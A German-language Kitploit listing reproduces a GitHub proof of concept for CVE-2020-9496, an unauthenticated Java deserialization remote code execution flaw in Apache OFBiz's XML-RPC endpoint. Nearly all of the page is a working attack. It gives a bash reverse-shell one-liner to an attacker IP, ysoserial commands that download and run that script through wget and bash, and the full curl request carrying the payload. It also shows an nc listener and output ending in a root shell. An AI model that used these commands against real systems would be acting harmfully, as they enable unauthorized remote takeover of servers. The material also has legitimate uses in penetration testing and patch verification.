Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/cyber-niz/cve-2020-9496
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

Manueller Exploit für CVE-2020-9496, eine nicht authentifizierte Java-Deserialisierungs-RCE in Apache OFBiz XML-RPC, mit Schritt-für-Schritt-Anweisungen zur Payload-Generierung und Reverse-Shell.

Repository anzeigen
vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-9496 - RCE

Da die beiden xmlrpc-bezogenen Anfragen in webtools (xmlrpc und ping) keine Authentifizierung verwenden, sind sie anfällig für unsichere Deserialisierung. Dieses Problem wurde dem Sicherheitsteam von Alvaro Munoz [email protected] vom GitHub Security Lab Team gemeldet.

Diese Schwachstelle besteht aufgrund von Java-Serialisierungsproblemen bei der Verarbeitung von Anfragen, die an /webtools/control/xmlrpc gesendet werden. Ein entfernter, nicht authentifizierter Angreifer kann diese Schwachstelle ausnutzen, indem er eine manipulierte Anfrage sendet. Eine erfolgreiche Ausnutzung würde zur Ausführung beliebigen Codes führen.

Betroffene Version 17.12.01

Behobene Versionen 18.12.01, 17.12.04

Original-Blog: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

Damit dieser POC funktioniert, müssen wir ein Shell-Skript ablegen und diese Datei über curl ausführen/abrufen.

SCHRITT 1: Erstellen Sie eine Shell-Datei mit einem Bash-Einzeiler mit Ihrer IP-Adresse und Port-Adresse.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

SCHRITT 2: Jetzt müssen wir diese Datei über einen HTTP-Dienst verfügbar machen.

root@kitploit:~
$ sudo python3 -m http.server 80

SCHRITT 3: Payload über ysoserial erzeugen - IP ändern

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

SCHRITT 4: Kopieren Sie die Ausgabe Ihres Payloads - sehr lange Zeichenfolge

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

SCHRITT 5: Verwenden Sie den folgenden curl-Befehl, um unseren Payload auszuführen. Fügen Sie den Payload nach extensions”> ein.

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Curl-Befehl ohne Payload zu Ihrer Referenz

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Stellen Sie sicher, ob Sie nach der Ausführung des Curl-Befehls einen Treffer auf dem HTTP-Server erhalten haben.

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

Wie Sie sehen können, haben wir einen Treffer auf unserem HTTP-Server erhalten. Die Datei wurde als shell.sh in das Verzeichnis /tmp heruntergeladen. Um diese Datei auszuführen, erstellen Sie nun erneut einen Payload. Aber bevor Sie das tun, starten Sie einen Netcat-Listener.

SCHRITT 6: NetCat-Listener starten

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

SCHRITT 7: Payload erstellen, um das zuvor heruntergeladene Shell-Skript auszuführen

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

SCHRITT 8: Kopieren und fügen Sie die Ausgabe in den Curl-Befehl ein und führen Sie ihn aus

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

SCHRITT 10: NetCat-Listener auf Reverse-Verbindung prüfen

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
Tool herunterladen